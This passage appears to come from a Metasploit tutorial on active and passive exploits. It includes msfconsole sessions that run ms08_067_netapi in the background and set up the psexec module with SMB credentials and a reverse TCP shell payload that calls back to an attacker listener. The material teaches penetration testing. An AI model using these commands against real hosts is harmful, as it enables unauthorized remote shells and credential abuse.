Exploits

Active Exploits

  • Active exploits will exploit a specific host, run until completion, and then exit.

  • You can force an active module to the background by passing ‘-j’ to the 'exploit' command.

msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit

Passive Exploits

  • Passive exploits wait for incoming hosts and exploit them as they connect.

  • Passive exploits almost always focus on clients such as web browsers, FTP clients, etc.

  • Passive exploits report shells as they happen can be enumerated by passing ‘-l’ to the 'sessions' command. Passing ‘-i’ will interact with a shell.

Using Exploits In Metasploit

  • Selecting an exploit in Metasploit adds the exploit and check commands to msfconsole.

  • Using an exploit also adds more options to the show command.
